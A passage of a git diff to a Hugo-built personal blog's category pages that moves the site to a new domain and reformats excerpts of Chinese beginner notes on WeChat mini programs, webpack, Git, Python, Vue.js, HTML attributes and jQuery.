+"window":{ "backgroundTextStyle":"light", "navigationBarBackgroundColor": "#fff", // 导航栏背景颜色 "navigationBarTitleText": "Weixin", // 导航栏文本 "navigationBarTextStyle":"black" // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -175,7 +116,7 @@
 WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构
 view元素是表示块级，和div类似
 scroll-view元素是表示可滚动页面区域
-text元素是表示行内文本，和span类似...</p></div><footer class=entry-footer><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 微信小程序学习笔记" href=https://xiaochenabc123.github.io/posts/48/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>webpack学习笔记</h2></header><div class=entry-content><p>webpack作为模块加载和打包神器
+text元素是表示行内文本，和span类似...</p></div><footer class=entry-footer><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 微信小程序学习笔记" href=https://chenjunlinabc.github.io/posts/48/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>webpack学习笔记</h2></header><div class=entry-content><p>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
 到项目目录下，npm init -y 初始化模块
@@ -192,26 +133,8 @@
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
-entry: '入口文件的路径',
-output: {
-path:__dirname,
-filename: '最后输出到哪个文件的文件名'
-},
-module: {
-rules: [{
-test: '处理什么格式的文件',
-use:[
-{
-loader: '依赖包'
-}
-]
-}
-]
-}
-};
-模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://xiaochenabc123.github.io/posts/47/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/6/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+module.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://chenjunlinabc.github.io/posts/47/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/6/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/8/index.html" "b/categories/\345\255\246\344\271\240/page/8/index.html"
index cbb2e972..b47dd1ed 100644
--- "a/categories/\345\255\246\344\271\240/page/8/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/8/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
 Linux
@@ -17,7 +17,7 @@
 git status #返回仓库的当前状态
 git diff 文件名 #查看当前文件的内容
 git log #查看历史记录，加上–pretty=oneline 查看commit id（版本号）
-git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://xiaochenabc123.github.io/posts/30/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
+git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://chenjunlinabc.github.io/posts/30/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
 dash Anaconda3-2019.10-Linux-x86_64.sh
@@ -56,7 +56,7 @@
 python能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量
 python可以处理整型任意大小的整数，也可以使用二进制代表整数、
 浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示
-字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://xiaochenabc123.github.io/posts/28/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
+字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://chenjunlinabc.github.io/posts/28/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
 导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用
@@ -68,91 +68,41 @@
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{…}}，例如：
-&lt;div id="app">
-&lt;p>{{ hallovuejs }}&lt;/p>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-hallovuejs: "hallo vuejs!"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&lt;div id="app">
-&lt;a v-bind:href="url">{{ main }}&lt;/a>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-url:"https://xiaochenabc123.test.com",
-main: "小陈的辣鸡屋"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&lt;div id="app"> &lt;p>{{ hallovuejs }}&lt;/p> &lt;/div> &lt;script> const hallo ={ data() { return { hallovuejs: "hallo vuejs!" } } } Vue.createApp(hallo).mount("#app") &lt;/script> vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&lt;div id="app"> &lt;a v-bind:href="url">{{ main }}&lt;/a> &lt;/div> &lt;script> const hallo ={ data() { return { url:"https://xiaochenabc123.test.com", main: "小陈的辣鸡屋" } } } Vue.createApp(hallo).mount("#app") &lt;/script> 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&lt;div id="app">
-&lt;button v-on:click="go">{{ main }}&lt;/button>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-main: "hallo"
-}
-},
-methods: {
-go: function(){
-console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://xiaochenabc123.github.io/posts/23/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
+&lt;div id="app"> &lt;button v-on:click="go">{{ main }}&lt;/button> &lt;/div> &lt;script> const hallo ={ data() { return { main: "hallo" } }, methods: { go: function(){ console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://chenjunlinabc.github.io/posts/23/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
 accesskey
 定义快捷键获取焦点，例如
-&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a>
-按ait+q，就会跳到指定的网页上
+&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a> 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&lt;div class = "a1 a2 a3">&lt;/div>
-id
+&lt;div class = "a1 a2 a3">&lt;/div> id
 定义一个id，id为唯一性，不能重复，例如
-&lt;div id = "a1">&lt;/div>
-lang
+&lt;div id = "a1">&lt;/div> lang
 定义网页或者元素的语言，例如
-&lt;div lang = "fr">&lt;/div>
-style
+&lt;div lang = "fr">&lt;/div> style
 定义元素的行内样式，例如
-&lt;div style="color : #fff">hi&lt;/div>
-tabindex
+&lt;div style="color : #fff">hi&lt;/div> tabindex
 指定tab键的焦点控制，例如
-&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a>
-使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a> 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&lt;div contenteditable="true">hi&lt;/div>
-dir
+&lt;div contenteditable="true">hi&lt;/div> dir
 指定元素内文本的方向，例如
-&lt;div dir = "rtl">hi&lt;/div>
-ltr默认值，从左到右
+&lt;div dir = "rtl">hi&lt;/div> ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&lt;div title = "hi">hi&lt;/div>
-data-xxx
+&lt;div title = "hi">hi&lt;/div> data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&lt;div draggable = "true">hi&lt;/div>
-hidden
+&lt;div draggable = "true">hi&lt;/div> hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&lt;div hidden = "hidden">hi&lt;/div>
-contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://xiaochenabc123.github.io/posts/22/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
+&lt;div hidden = "hidden">hi&lt;/div> contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://chenjunlinabc.github.io/posts/22/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
 $(‘div’).html(“hello.world”);
 ##DOM对象和jQuery对象互转化
 jQuery对象和DOM对象是不一样的，但是都能操作DOM
@@ -185,8 +135,8 @@
 多项选择器
 $(“div[class=divs],a[href=“https://xiaochenabc123.test.com”)
 多项选择器就是将多个选择器用逗号组合起来
-层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://xiaochenabc123.github.io/posts/21/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/7/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/9/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://chenjunlinabc.github.io/posts/21/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/7/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/9/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/9/index.html" "b/categories/\345\255\246\344\271\240/page/9/index.html"
index 31dab4c6..4e3d372f 100644
--- "a/categories/\345\255\246\344\271\240/page/9/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/9/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 